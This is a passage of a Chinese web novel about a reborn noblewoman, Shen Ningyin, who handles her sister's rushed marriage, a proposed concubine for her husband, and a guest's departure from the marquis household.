沈宁音没想到，重来一世，他二人竟有了这番交集。
沈宁音捏了捏袖子里薛岚给的腰牌，略作犹豫终究是攥紧了。
罢了，顺手之事就当是行善吧。
她告辞二人后，直接去了皇城司衙门，薛岚不在，沈宁音要等。
事关人命。
“怎么回事？”有人从里头走了出来。
沈宁音抬头去看，有几分眼熟，昨儿才见过：“你……你是……”
“赵义。”赵义是薛岚的亲信，见是沈宁音，尴尬地摸了摸鼻子，他看了眼她掏出来的腰牌，眼眸瞠大——怪怪，主子把公事腰牌都给了出去！
赵义连忙将她引到侧旁：“少夫人哟，这个可不兴到处使。咱们皇城司可不止一位公事！”
做上峰的可以不管这许多牵扯，他根本不怕，但下边儿人是明白个中弯绕的，赵义提醒沈宁音，是好意。
“我明白。”沈宁音将腰牌收好：“但人命关天。”
沈宁音便将目的直言不讳。
“你要找柳太医？”赵义愣了一下，旋即有些为难。
“不妨事。”沈宁音看出他的难办，柳太医的手段沈宁音一直都知晓，薛岚的脸能恢复成如今的程度，也是靠着柳太医这一手医术炉火纯青。
沈宁音道：“你让我见着薛大人，我自己同他说。”她话罢拿出银子塞进赵义掌心。
赵义想拒绝的，可一瞧见五十两的面额，便一咬牙，收到了袖子里：“好，卑职带少夫人去。”
“不过，我不送到地方，后面你要自己走两条街……”
赵义面对沈宁音疑惑的眼神，他有些苦笑，眼神闪躲。
155. 思嫁
沈宁音走到宅邸跟前，略擦了擦额头的薄汗。抬头看见大门上方没有任何牌匾。若非赵义引路，她十成十是站在这儿也想不到这里会是薛岚的宅子。
她抓着门环叩了好几下也没人应。
沈宁音心下焦急，推门也推不开，她后退了几步，打量着旁边儿围墙。
赵义既然指了她来，薛岚一多半就在里面，没人开门的话，沈宁音只能翻墙了。
“谁啊？”一声女子的嗓音传出来。
沈宁音身子一顿，收住了脚。
门扉打开，里头走出来个衣着华丽、眉目清秀的姑娘，只可惜脸上的一道疤痕破坏了容貌。
女子看见沈宁音，神色倏然就笼罩上几分警惕。
沈宁音并未在意：“请问，薛岚薛大人是住在此处么？麻烦姑娘通报一声。”
白惜揉了揉胳膊，神色阴郁。
沈宁音将才是听赵义提过一嘴的，说是薛岚以前就是住在皇城司衙门里，但后来得了个丫鬟，于是就置办了一处宅邸，毕竟皇城司都是男子。
沈宁音琢磨，此女容貌损毁，却得薛岚特殊照拂，想来是很得宠的，将来说不得就是姨娘，甚至可能抬举成妻房。所以事情再急，沈宁音也压下了情绪。
可丫鬟却并不给她这脸面，冷声道：“这儿没什么薛大人，你走吧。”她话说完便要关门。
沈宁音眼疾手快，一把掰住大门。
“你作甚？！”白惜愤怒地盯着她的眼睛，她使劲往后拉，却是抵不过沈宁音的力气。
“姑娘，我没有恶意。”沈宁音哪里能放，声音有点急切，但依旧温婉：“我观姑娘气滞血瘀，身上是否有伤？”
白惜下意识地松手捂住了胳膊。
沈宁音没管她惊疑不定的神色，伸手把住她的手腕的脉搏。
“你放手！”白惜反应过来立马将手往后抽。沈宁音倒没有再抓着，只道：“姑娘的病症可算不上能忽略的地步，还是好生将养下吧。”
白惜愤愤看了她一眼，脸上的表情并无感激，只是重复：“你快走吧！怎么这么死皮赖脸的。你这样上赶着来勾兑男人的我见多了。”
沈宁音被说得愣住，她这才想起，为了不引人注意，她刻意换了一身不扎眼的，头上也没簪着珠翠。
想来被误会是来讨好、勾引薛岚的寻常女婢了。
但沈宁音这会儿被推着往外去，眼前的丫鬟根本不可能给她解释的机会，院墙那么高，真给推出去锁了门，沈宁音怕是要等不知多久才能见着薛岚了。
她心下着急，一咬牙冲着里头大喊：“薛大人！薛岚！”
白惜脸色骤变，使出了吃奶的力气，这才终于把她给推了出去。白惜正要关门，花枝后、游廊中，传出来了薛岚的声音。
“何事？”
听着薛岚的声音，白惜脸色难看了些许，抿着唇瓣愤愤地看了眼沈宁音，不甘地退到了一旁。
沈宁音悬着的心终于落到了实处，她提着裙摆快步走过去：“我想借柳郎中！”
薛岚并未多问什么便答应下来。
等薛岚安排好了一切，白惜已经在院子里跪着了。薛岚目光看过去，白惜抬起头，楚楚可怜地望进他的眼里：“大人。”
白惜的可怜里头掺了几分怕。
薛岚眼角的余光落到地上的女人身上，发现她颤抖着。
“起来吧。”
见他没追究，白惜松了口气，等看向大门方向时，白惜眼里对不速之客的怨毒情绪一闪而过。
柳郎中给元宝诊治后，提笔开了方子和药便给皇城司的人带走了。沈宁音知他如今已经为薛岩所用，至少薛岚脸上的伤势痊愈之前，是再不能像从前一般自在了。
“柳太医如何说？”沈宁音问了一嘴，冷元景正站一旁，闻言转眸看向她。
冷元景的唇抿得泛白，几息后方道：“命是保住了。”
“这不是好事么？”这也在沈宁音意料之中，至少努力不曾白费。
冷元景沉默片刻，继续说：“以后不良于行，也不会有子嗣了。”
“节哀。”人们的悲欢不尽相同，沈宁音已然做到仁至义尽，要她为元宝悲伤，她自问是做不到的。
空气一时沉默。
冷元景将眸光从脚尖抬至面前女子脸上，这一刻，风很轻，她并未看着他，两人目光错开，唯独他眼里泛出了光华。
“若是……若是……”若是娶的是她，那该多好。可她已成婚，冷元景本就悲伤的心，又添了几分苦。
沈宁音抬手将发丝别到耳后，转眸对上他的眼：“什么？”
目光触及，冷元景慌忙移开视线：“没什么。”他揪着直裰下摆，深吸一口气：“小生送少夫人回去。”
“不必了。”沈宁音婉拒：“元宝还没醒，冷郎君好生照顾着才是。”
沈宁音上了车，行了好一阵，兰香撩开帘子往后觑了一眼，纳罕：“少夫人，可是发生了什么事儿？奴婢观那冷郎君一直在门口朝着咱们车子看。”
沈宁音将手抄进了袖子里，目不斜视，声音极淡：“不必理会他。”
翌日，沈宁音无甚琐事，日上三竿方才起身。
刚洗漱完，她便得了好些消息。
其一，是冷元景那儿，元宝已经醒了。这人一醒，沈宁音思忖着，依冷元景的性子，他必定是要找来侍郎府大闹一场的。
沈弦思的乌龙事本已经闹得整个上京城都在瞧笑话了，再添一个也并非多稀奇。
可第二个消息就叫沈宁音震惊了：“什么？你说明日出嫁？”
兰香点头：“是啊，就是明晚，奴婢也是听来的，听说朱家过来提了一嘴，希望早些嫁娶，礼部侍郎府那位宋氏夫人原是随口一句，说明日就是黄道吉日。却哪知思姑娘巴巴地一口应下……嫁妆都码好，堆在那儿，唢呐、轿夫，一应人等，都去请了。”
沈宁音皱着眉，伸手摁着隐隐作痛的太阳穴：“罢了，不管了。”
大族嫁女，无妨是否筹备妥帖，都是巴不得留多几个月，如此方显得隆盛重视。
沈家倒好，原就流言缠身的婚事，名声有瑕、争议不断不说，还如此仓促。
再加上宋氏夫人眼高于顶，对沈弦思这个儿媳极不满意，会说那样的话，不过为着羞辱于沈家，想逼着沈家人开口来拒绝这桩婚。
前世的时候宋氏纵容溺爱那位荒唐的朱七郎就不是什么新鲜事，今生能为着他哭闹跑来提亲也正常。
朱家七郎在沈宁音的记忆里，是先后娶过好几个妻子的，不是给逼疯了，就是被打流产，愣是没一个有好下场。
沈弦思和沈家人以为自个儿攀上了高枝，宁不知侍郎府只会是更深的火坑。
深秋微凉，沈宁音就派人去买了炭火。毓秀阁里烧得暖融融的，沈夫人身边儿的婆子过来的时候就是看着这等光景。
在这婆子来之前，毓秀阁已经推了好几个跑腿的小丫头了。所以沈宁音抬头去看时，就明显能看出婆子脸色难看。
“姚妈妈，怎的亲自过来这一趟。”沈宁音笑得温柔，瞧着是再和气不过的。
姚妈妈眼角的
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褶子都跳了跳，好容易才压下去想发火的情绪，忝着脸道：“二姑奶奶，您兴许不知，府里有天大的喜事儿。夫人叫您过去商议哩。”
“哦？有这事儿？”沈宁音略抬眉尾。
“正是的，姑奶奶兴许还不知晓。”姚妈妈道：“弦思姑娘明儿成婚，您可是姑娘嫡亲的姐姐，定要好好吃个喜酒的，还有……”
“我知道了。”沈宁音抬手打断她：“本夫人一会儿就去。”
姚妈妈听她松了口，脸上的假笑终于多了半分真心：“那奴婢就先回去候着了。”
“去吧。”沈宁音笑着招呼染竹：“去送送姚妈妈。”
染竹与姚妈妈离开后，沈宁音脸上的笑就消失了，抬手扶了扶头上的步摇，果决地吩咐：“兰香，收拾东西咱们走。”
兰香一脸的震惊，但震惊归震惊，却是半点儿没耽搁她办事儿。
染竹送了人回来，毓秀阁里头的东西便收拾干净了。她看着四周跟来时一样空荡荡的房间分外错愕。
“少夫人，咱们这是……”
沈宁音看了她一眼，抬手整理袖口：“回侯府啊。”
染竹更懵了：“不去见夫人么？”
“要去你自个儿去。”沈宁音冷笑着看向沈夫人的主院方向：“那可是貔貅洞，她们还等着我添妆呢。”给出来的嫁妆，沈宁音亲自带去昌平侯府了，她们还想要回去？沈宁音可万不吃这个亏的。
她这会儿后背还疼着。
沈家往后如何，与她沈宁音何干？大不了在昌平侯府深居简出，过好自个儿的日子就是。
染竹还有些担心，但大抵是知晓沈宁音不待见这等问题，染竹只得小声坚持：“可明儿是姊妹成婚，少夫人不去的话怕是要惹来非议的。”
说这句的时候，染竹倒真不是为着私心。换了前世的沈宁音，也会这么想。
但眼下的沈宁音只是淡淡瞥了她一眼，也懒怠解释。
名声是自己挣来的，掺和进旁人恶臭的泥泞里头，那才是真要臭不可闻了。
沈宁音领着人，就这么不辞而别了。事后侍郎府那位叫紫鹃的丫鬟递来了消息，内容叫人不禁唏嘘。
早前沈宁音嫁人之际但有请了宾客的，统统都巴不得来观摩一场盛世，道一句高朋满座、衣香鬓影也不为过。
如今出嫁的同样是沈家嫡女，沈弦思的婚事草率冷清，朱家给的嫁妆十分敷衍，三十抬嫁妆大多都是劣等布帛，面上盖着丝绸罢了。阮家倒是疼爱沈弦思这个养女，但婚事太过仓促，足料的嫁妆也就从前筹备了十抬，其中四抬还给了沈宁音。
阮家就算想，也没法分身从姑苏赶过来。
紫鹃亲眼看见那些人将那六抬嫁妆分成二十四抬，在箱子里头塞上杂物充数。
两家人各有各的无奈，又各有各的算计。
沈弦思能点头，她是真的怕了。那等血腥场面她是头一次见，她绝不敢嫁冷元景，而若然杀人之事冷元景不放过她，那她好不容易攀上的门当户对的亲事也要黄了。
但这些纷扰都与沈宁音不相干，她已回到侯府。
整个祁秀院分外安静，丫鬟家丁们各司其职，属实叫沈宁音觉着纳罕。
这么几天了，秦耀阳被薛岚打晕，没道理醒来后不找自己询问的。
可眼下好似半点风声也无……
沈宁音狐疑的坐在床边，伸手抚过秦耀阳之前躺着的地方。
这时，门外传来笑丫鬟的声音：“二爷来了，少夫人在里头呢。”
沈宁音心下一紧，坐直了身子。
156. 不学
夜里下了雨，秦耀阳推开门时，外头的风卷进些许泥土的芬芳。沈宁音觉着有些冷，就伸手拢了拢衣裳。
“世子这么早就来了。”无妨说些什么，沈宁音当先开了口。这等时候，掌控主动方才最好。
秦耀阳果然顿住。
沈宁音莞尔一笑，扶了扶头上的步摇：“这几日妾身回了娘家，走得匆忙，还请世子见谅。”
“我听下头人说了。”秦耀阳眉宇略皱，似想从沈宁音脸上看出些什么来，道：“我原该去接你的，但府里事儿多，一时竟耽搁了。”
沈宁音接手侯府中馈也有些日头了，秦耀阳又是闲人一个，他能有什么事儿？
秦耀阳看她不说话，盯着她的眼眸终是开问：“那日……我怎么会独自躺在你屋子的床上？”
沈宁音下细打量他神色，不动声色反问：“世子不记得了？”
秦耀阳抬手摸了摸脖子，满脸的狐疑：“发生什么事了么？”
沈宁音伸手扶着他坐到桌边，吩咐染竹上茶，这才用认真的表情道：“那日世子突然昏厥，妾身也不清楚为何？”
她的目光落在秦耀阳脖颈上，那天薛岚将秦耀阳打晕时落下的红印，此刻已完全消失不见。
先前沈宁音一直提着心，这会儿秦耀阳的表现令她稍稍安定了些。
秦耀阳就算有所怀疑，也断断不会十拿九稳。
他要有证据的话，就不是试探了，必是要大发雷霆的。
“当真？”秦耀阳眉头越皱越紧，还伸手摸了摸脖颈。沈宁音抬眸，转移话题：“世子这几日在忙什么？”
提起这个，秦耀阳眼神闪躲，支支吾吾起来。
沈宁音心下纳罕，一再询问，他方烦躁地站起身来：“前两日陈夫人领着陈五娘过来，你也知晓……我本就是无心的，我可怜她一人回家恐遇危险，才带她回侯府，哪知道那陈夫人竟抓着不放，非叫我纳了她。”
沈宁音闻言，神色毫无波澜。
当初秦耀阳将陈青霜领回来时，她便早有预料。
“世子的意思呢？”沈宁音坐直了身子，抬手端起茶润了润嗓子，好整以暇。
秦耀阳转眸觑了她一眼，不知为何，看着沈宁音这般淡定，他脸色肉眼可见烦躁起来。他掀开衣摆往她身旁坐下。
“你还有心思喝茶？”
沈宁音听着他闷闷不乐的声线，搁了茶盏，目光看进男人眼里：“世子，此事妾身可不得主。”
“你是主母正妻，为何做不得主？”秦耀阳盯着她的眼睛，他也不知自个儿想从里头瞧出些什么来。
沈宁音低眉，嘴角的弧度极尽温婉：“想来，祖母与母亲那边早已经敲定了吧？”
秦耀阳堪堪愣怔住，千言万语统统如鲠在喉。
一如沈宁音所讲，陈家人上门第二天，闵氏与老夫人便有了这个意思。还邀了陈青霜过来小住。若非秦耀阳不松口，这会儿恐怕人已经抬进府里了。
“世子拿主意就好。”沈宁音将大妇正妻的姿态端得很足。
一生一世一双人这等事，于她来说，不过是镜花水月，两世红妆，沈宁音连梦里都不曾奢望过。
“你……”秦耀阳攥着拳头“噌”地站起身：“你好得很，既然你没意见，那就这么办吧！”
沈宁音没抬头：“妾身明白。”
秦耀阳眉心皱紧，只觉着生气，却又不知为何生气，一拂袖就快步离开了。
沈宁音看着门口晃荡的帘子，目光清冷。
兰香从外头进来，神色着急：“少夫人，您没事儿吧？”
沈宁音摇摇头，兰香松了口气：“吓死奴婢了，将才世子好像很生气，将外头养得好好的菊花盆都给踹倒了。您该不会说了什么话惹了他吧？”
“花盆破了便上库房淘换个新的，顺道着人采买些银丝炭回来。”沈宁音整理了一下披帛淡淡道：“至于世子生气，应该也不会是因着我。”
沈宁音轻笑：“他要纳妾，总归有人比我要急。”
孙先生的考校是每日一抽，三日一考。学生虽少，却是极严格的。
背不好的，不上进的，都会被打手板。先前几次抽考，秦齐都靠着偷奸耍滑躲过去了。可这第一回的大考，他却是躲不过的。
卞六郎与南烛都是万里挑一的好苗子，唯独秦齐一个，不听话，不背书，还要在地上趴着找蚂蚁地鸡立鹤群。
孙靖元是头一次发了火，拿戒尺打手心。秦齐哪里吃过这种苦头，哭得惊抓抓的，将三字经的书本边哭边撕，直往孙靖元身上脸上扔，还吵着闹着要祖奶奶。
一群人赶过去的时候正巧撞见这鸡飞狗跳的场景，闵氏鼻子都气歪了，她原也不是什么斯文小姐，从小在武将府邸耳濡目染，口不择言起来那是一口一个小杂种地骂。
知道内情的老夫人、周婉等人都是黑了脸。
老夫人道：“都是自家子侄，莫要骂得这么难听。”
闵氏并不服气，她早瞧着秦齐不顺眼。小孩子其实很会看脸色，谁喜欢自己、谁不喜欢自己，一眼就感觉到了。你越讨厌他，他越惹你不快。闵氏没少吃苦头。
老夫人只觉吵得脑仁儿疼，打算知会一下闵氏。只是她刚招呼闵氏近前，还没说话呢，沈宁音的声音就从外头传进来了。
“祖母、母亲，嫂嫂，发生什么事了？”沈宁音脸上是恰到好处的微笑。这笑容原本没什么的，只是眼下鸡飞狗跳的情况，老夫人总觉着孙媳的表情像极了嘲笑。
“只是小孩儿顽劣。”老夫人把秦齐抱在怀里，替他辩解道：“齐哥儿只是不习惯，等多念几天书，终归会教好的。”
闵氏盯着秦齐，冷笑：“他要是能学好，也不会被先生单拎出来了。旁的两个哥儿怎的就能学的好了？”
一旁的南烛和卞六郎乖巧地坐在桌案后正瞧热闹，冷不丁被点了名，连忙低下头装作看书。
老夫人听了儿媳的话差点儿一口老血喷将出来。那可是她亲重孙、闵氏的亲孙子！
但对于闵氏来说，秦齐与南
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烛没什么本质分别，都不过是远亲罢了。秦齐明面上的身份那是已经数上去三四代开外的了。好歹南烛还不惹人厌。
闵氏冲道：“宁音你来得正好，你给劝劝你祖母，换个孩子领养才好。”
沈宁音睃了一眼老夫人铁青的脸色，垂眸捏着帕子咳嗽了声，到底将试图上翘的嘴角压住了，清了清嗓子道：“祖母方才是要同母亲说什么话？”
闵氏反应过来，看向了老夫人。
老夫人这会儿给一群人拿眼睛盯着，说也不是，沈宁音在场，不说也不是，闵氏指不定要接着说嘴。沈宁音看着都替她尴尬。
闵氏沉不住气，她若知晓了，必定漏出口风去。沈宁音大约能猜到老夫人没告诉闵氏就是这个缘故。
“没什么。”老夫人抱着秦齐，声音冷硬。
地上挺多撕碎的纸片，风一吹，扬了满地。孙靖元那么好的修养，这会儿虽没发火，但眼神已经给气得没了往日的温润。
沈宁音叹了口气，上前宽慰。她是来看热闹的，不是做什么和事佬，是以她才没去管老夫人与周婉示意的眼神，半个字没替秦齐说。
好在秦耀阳出现了。
与他一道过来的，正是陈青霜。
陈青霜穿着一身桃红色薄夹袄，紫烟罗裙裾，兴许是人逢喜事精神爽，同前阵子相比，陈青霜气色好了许多，走在秦耀阳身后像只依人的小鸟。
她看见沈宁音在，脸上的笑僵了一瞬，慌忙低下了脑袋。
沈宁音耳力好，听见身侧传来句极低的声音：“狐媚子。”她转眸时，周婉正好低下脑袋，攥着帕子的手用力到发白。
“宁音。”说话的是老夫人。沈宁音恭恭敬敬地上前。老夫人吩咐：“青霜如今是客人，这些时日你好生招呼着她。”
陈青霜脸色大变，连忙道：“不必这么麻烦，我……我自己能照看好自己。”她怕极了沈宁音给自己难堪。
老夫人懒得去猜这等小姑娘家的心事，只将事情交代给沈宁音后，便不再过问。
沈宁音从善如流，领着陈青霜就往外去。
秦耀阳想跟，却又担心秦齐的事儿，到底是停了脚步。
两人行至抄手游廊半中间。
“沈姐姐，你是不是怨我？”陈青霜声音带着抽气：“我也不想的，可爹娘做的主，我又有什么法子呢？”
沈宁音略略转头，眼角的余光看着她，也没说话。陈青霜紧走两步，拉着她的袖子，神色哀戚：“姐姐不会生我气了吧？”
转回身，沈宁音抬手将袖子抽回来，略拍了拍。陈青霜完美的脸色顿时仿若皴裂。
她咬着牙：“沈宁音，你凭什么这么高高在上，我都这么同你示好了，你为何不肯体谅我？”
“大家都是伺候世子，谁又比谁高贵？没了男人的宠爱，你什么都不是！”
沈宁音突然笑出了声：“你说是便是了。”她朝着陈青霜缓步走近。
陈青霜神色惶恐，连忙往后退：“你、你想干什么？”
157. 辞别
沈宁音抬手将她肩膀上的银杏叶拂去，眼也没抬：“要用心思，便将心思藏好，叫大家都瞧出来的，那不叫心思。”沈宁音微掀眼帘：“叫蠢。”
“你！”陈青霜后背抵在廊柱，她拿攥着帕子的手扶着。沈宁音转身离去时，她眸光决绝地瞥向旁边儿粼粼的水光。
“深秋寒凉，这池子极深，四下里无人，你若掉下去冻僵了手脚，爬不上来，那可真是阿弥陀佛了。”沈宁音的声音毫无预兆地传来。
陈青霜只觉心脏仿佛遭了重锤，惊吓得紧，她甚至怀疑沈宁音脑袋后头非但有眼，还是个能瞧透了血肉的通灵眼，只将她黑惨惨的心思剖开了彻底。
陈青霜不敢跳了。她怕意外，更怕沈宁音拦着人不救自己。
她怕死。
沈宁音走了许久，前头都要望见祁秀院了，终于停了脚步：“有何事，不妨出来说说。”
一个呼吸后，旁边儿转出来一个穿着桃红色丝绒褙子的女娘，女娘盈盈一拜：“二少夫人，奴婢红叶。”
沈宁音自然是认得她的，这是元贵妃送给周婉的大丫鬟之一。与另一个丫头相比，她眉眼艳而不妖，算是讨喜的。
这等丫鬟在宫里从小就授以媚术，从前是往圣人处邀宠的工具，到侯府，自然是为着伺候秦耀阳。
如今横空杀出来个陈青霜，无妨周婉还是红叶，都得乱了方寸。
只是沈宁音没料到红叶竟然会追过来找自己……
红叶眼底有几分复杂：“少夫人，您就半点不担忧么？”
“为何要担忧？”沈宁音目视着红叶靠近。
红叶也没藏着：“那陈五娘不过庶出之身，如今还没过门呢，就对您大不敬。往后若是抬进来，那还了得？”
红叶一面说，一面观察着沈宁音的神色，可她却是一贯的沉稳内敛，半点瞧不出端倪。沈宁音越是这样，红叶越是着急，切切道：“少夫人，奴婢也是为着侯府家宅安宁着想。”
“哦？”沈宁音终于给了点儿反应。
红叶以为有戏，却不知，她此刻的所有话沈宁音都早有预料。
“少夫人，那陈五娘的事儿二爷还没松口，只要二爷不肯，老夫人、夫人就没法叫他低头。”
这一点上，沈宁音倒是知道红叶与周家人为何如此有信心，毕竟当初秦耀阳不肯娶亲，一拖就从十七八拖到了二十六，才娶了沈宁音进门儿。
他连娶亲都如此，更何况纳妾呢？
沈宁音嘴角微勾，声音恬淡：“世子爷子息薄，纳妾也是迟早之事，总不能将来真把侯府交给个隔了房的齐哥儿吧？”
红叶噎了一下。
周婉不想自个儿来触秦耀阳的霉头，就叫红叶来说游说。办成了，安给沈宁音一个善妒的名声，交恶于松鹤堂，若是没办成，自然是惹了秦耀阳不快。
一石二鸟，周婉怎么都是渔翁得利。
沈宁音哪里会踩这等暗坑，她笑了笑：“纳妾之事，素来长辈做主，上头还有夫人与老夫人在呢，你寻我来有什么用？”
红叶急了，生怕沈宁音不重视，赶了两步道：“二少夫人，老夫人和夫人是能做主，二爷这不是娶了您、敬着您么？可那陈五姑娘可是二爷亲自领回来的……”
沈宁音哪里听不出她的暗示？无非是说那陈五娘是大患，万不能让进门来。
可说到底，不过一个妾。
沈宁音前世没少收拾过，她懒怠与红叶多说，敷衍两句便也走了。
红叶没完成吩咐，甚至不敢回兰水居，只托了个小丫头递过去消息。
周婉气得将桌上的杯盘碗盏摔了个粉碎：“贱人！都是贱人！”
如今儿子被罚了跪祠堂，心上人又给野女人缠上讨要名分，连丫鬟也敢躲远了。周婉哪儿哪儿都不顺遂，心中窝着火气无处发泄。
“大少夫人……”如今也只有齐哥儿的奶娘芳姑敢壮着胆子说两句：“您消消气。”
“消气！你让本夫人如何消气！？”周婉气得一巴掌甩在芳姑的脸上：“齐哥儿就是叫你给带岔了的！”
芳姑没料想竟遭了迁怒，吓得连忙跪地：“大少夫人，是，奴婢是有错，可您这样也解决不了问题啊，不如去求一求娘娘……”
周婉闻言重重一颤：“对！对对！还有我长姐，有长姐与景王殿下在，祖母、母亲、耀阳都不敢冷落了我去！”周婉死死咬着牙：“沈宁音敬酒不吃吃罚酒，不肯出面，那我定叫她后悔莫及！”
是日，沈宁音早早就歇下了，不为旁的，只因着沈家来人求见。不用想也知那些人来做什么的。
沈弦思嫁人是极不光彩的，正经体面人谁也不愿去招惹，沈宁音这个做姐姐的，若被邀请了不去，要给人骂凉薄，若去了，还给自己和侯府的名声抹黑。
她索性装不知。
反正沈弦思嫁得着急，先拖过第二天再说。
哪知沈定山不知趣，派着人就赖在侯府等着。沈宁音便只好待在祁秀院。
等到染竹进来禀告，沈宁音还以为沈家来的仆婢长本事了，敢硬闯了，她心说若当真如此，她倒也佩服那仆婢的忠心，拉下脸不要去走上一趟。
谁知丫鬟领进来的却是梁玉霜。
梁玉霜一身男装短打，靴子白净，看起来精神不佳，甫一见着沈宁音，梁玉霜就强打起精神拱手作豪迈状：“沈宁音，我准备走了。”
“哦？”沈宁音打量她的神色，倒也不像是作妖的架势，至少她眼底是有几分坚决的：“不等着开春？”
梁玉霜摇摇头：“不了。”她有几分落寞：“这儿不是我的家，凉州城也不是。不过……”梁玉霜抬起头：“我爹在那儿，哥哥也在，至少那边儿自在些。”
“还有，路上劫匪挺多的，天气冷了，劫匪也没开春活跃，趁着还没下雪，这会儿反倒是最安全的季节。”
沈宁音点了点头，也没挽留，素手给包了十几两银子。梁玉霜有些羞愧：“我这提前走，可不能帮你指认买那膝枕团的人了。”
沈宁音不以为意地摇摇头：“不妨事了。
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周婉做些敷衍败名声的事，就算梁玉霜给证实了，也不过是给她烂名声里头添一笔，倒也不能关乎根基。
“到时候赵管事的去了凉州城采买货品，你能帮衬一二也就罢了。”
梁玉霜脸上有了点笑意，郑重点头：“那是自然，我梁家在凉州城可不是小门小户，山参、兽皮，好药，都是特产。你的商队护着我，我也不是貔貅，只进不出的。”
梁玉霜挥了挥手，便跟着染竹下去了。
沈宁音看着她大步流星的轻快背影，莫名竟有点羡慕，两世为人，蓦然回首，竟发现最轻快的时光，是前世跟着冷元景外放做地方官的那几年。
后宅这四方小院，日月流转，岁月如梭，只剩下了逃不得的磋磨。
“少夫人，不好了！”有丫鬟慌慌张张跑过来。
“怎么了？”沈宁音收敛了神色，转眸询问。
丫鬟指着外头道：“梁姑娘被陶妈妈拦下来了。”
沈宁音愣了一下，陶妈妈是闵氏的人，她拦着梁玉霜自然该是闵氏又或者松鹤堂的意思。
“去看看。”沈宁音提着裙裾往外头去。
几人远远儿地就看着梁玉霜红着眼睛站在那，双手都给下人押着，满脸的怒意。
陶妈妈、方嬷嬷都在那。
几个小丫鬟翻看着地上的包袱，梁玉霜的衣裳什物乱七八糟地洒在地面。
陶妈妈拿着银子：“谁知道是不是从府里偷的哩？”
梁玉霜怒道：“这是沈宁音给的！你还给我！”
“下贱胚子，凭你也敢说这等混账话！手脚不干净还胡言乱语的，来人，掌嘴！”陶妈妈愤怒地支使着人动手。
方嬷嬷自始至终就站在一旁冷眼旁观。
两三个巴掌下去，沈宁音才赶到，近前：“住手！”
陶妈妈与方嬷嬷看着她来，也没多话，那行事的婆子不敢停，巴掌又高高扬起来。
沈宁音是官宦家的嫡小姐，自矜身份是断不会亲手去拦的。陶妈妈吃准了如此。但沈宁音偏偏动了手，她力气不大，可气势十足，那婆子触及她的眼神立马就老实了。
就叫人有种感觉：不听陶妈妈的话兴许一会儿会被秋后算账，但若是热闹了二少夫人，眼下就要给活活打死。
沈宁音抓那婆子的手往后一推，膀大腰粗的婆子愣是乖觉地站到了陶妈妈身后去。
陶妈妈见了这阵仗，便赔上了一抹假笑来：“二少夫人，这梁姑娘偷了府里的银钱要走。老奴也是奉命行事。”
沈宁音只觉着荒谬，侯府如今银钱的窟窿眼儿大得通天，哪有什么银钱能叫人家偷拿的？
但沈宁音如今身在侯府，却也不能讲得太过直白，只说：“这银子是我给梁姑娘的。”
兰香乖觉地上前将梁玉霜解救下来。
梁玉霜眼泪在眼眶里打转，一声不吭在地上捡衣裳，兰香便同她一道捡。
好好的衣服上，有清晰可见的鞋印子。
沈宁音眉头蹙起。
158. 不回
沈宁音叫兰香把梁玉霜先扶去廊庑安抚，送走梁玉霜原该是皆大欢喜的事儿，眼下怕是要做了恨。
沈宁音转头看向那两个老婆子：“梁姑娘可是个良家女，两位这是要做什么？拐禁人口？”
她语气带着严厉，陶妈妈与方嬷嬷听罢对视了一眼，沈宁音的态度很明显，她是看出来二人故意想留人的。
陶妈妈脸上堆着笑：“二少夫人，咱们也是无奈才出此下策……这梁姑娘已经在咱们府里住了好些时日了，即便离去，名声说出去也是不好听的。老夫人慈悲，想着给她个安身的名分。咱们侯府也不是添不起这双筷子。”
沈宁音听罢沉默了片刻。
女子名节事大，却也是这个理，大多数女子，尤其是商户女，若遇着这样的机会，便是做侍妾也是肯的，就连那点被诬的名声，也不会在意。
但沈宁音回忆起梁玉霜的话，深吸口气，抬眸道：“梁姑娘再如何，也不是你们诬她手脚不干净的理由。再者，世子爷收用奴婢妾室，也该问过本夫人。”
沈宁音语气不容置疑：“梁玉霜此女，本夫人就是不允，若老夫人、夫人处问起，只管拿话我去回！”
有了沈宁音旗帜鲜明的意见，陶妈妈与方嬷嬷哪怕再不乐意，也不敢再拦着。
天色渐渐阴下去，起了大风。
沈宁音为免夜长梦多，亲自将人送出门子，又命人即刻叫上赵管事等人当日出发。
她这般筹谋，也是怕老夫人心血来潮做点什么不靠谱的荒唐事儿来。
可梁玉霜坐上马车，看着愈发远去的侯府匾额，一时心情复杂。
赵管事手里牵着马儿，见她久久盯着侯府，就深看了她一眼，也没说话。
梁玉霜意识到失态，忙放下帘子，她起先还归心似箭，可真走了，冷静下来了，心里又有些后悔。
她来这时代日久，见识过的人与事也不算少，而最最叫她无力的，便是面对权势。
从前她以为有理走遍天下，而今，你再多的道理，别人只要想对付你，随意给你捏个理由便能成事，一如刚刚在侯府里头。
若没有二少夫人这个身份的所有者去弹压，她甚至连爬起来的办法都没有，更别提走出这宅邸。
秦耀阳那人，在梁玉霜看来，多情、尊贵、还没有儿子，对自己也算好，委实是个不错的好选择。只除了他有老婆……
“梁姑娘，要出城了，可还有什么要置办的？”
梁玉霜被赵管事的声音拉回思绪，连忙压下心里泛起的涟漪，摇了摇头：“没有了，走吧。”
她想，走了、回了凉州城，便再不会起这些个不该有的心思了。
沈宁音将将坐下，秦耀阳便是径直闯进了房间：“宁音！”
秦耀阳走到她跟前站定，胸膛起伏着，显然赶过来的时候很急。
“怎么了？”沈宁音神色淡然，露出个温婉的笑。
秦耀阳原本又好些话想要质问她，这会儿真个看见她了却又犹豫起来，两三个呼吸后，他方才小声说：“宁音，你怎么能赶梁姑娘走？”
秦耀阳神色里有几分焦虑：“她在上京举目无情，你放她离去，她要如何生存？”
沈宁音愣了一瞬，只觉得他这话好生着笑：“世子听谁说的？”
她当然知晓，定是松鹤堂那边儿不想跟自己撕破脸，于是撺掇着秦耀阳过来。但老夫人大约也料想不到沈宁音动作这么果决、这么快。人早就送出去了，而今怕是已经出城去也。
“都这么说。”秦耀阳有些急：“宁音，你是菩萨心肠，就容她一容吧？千错千错也不是她的错。”
“世子这么关心梁姑娘？”沈宁音微抬眉梢，语气带了三分揶揄。
若说从前的秦耀阳是对周婉死心塌地、那么如今，他得了太多，便也只露出寻常男子的本性来，处处怜惜，个个在意。吃着碗里的，看着锅里的。
普天之下，也唯独他自己不知晓、不承认罢了。
“我只是怜她孤身一人无枝可依。”秦耀阳皱紧了眉，仿若受了大冤屈。
“是、是。”沈宁音不与他分辩，正色道：“快要入冬，梁姑娘要返乡过年，妾身就帮衬她回去。”
“什么？”秦耀阳脸色难看：“她走了？”
“正是。”沈宁音垂眸，没有看他。
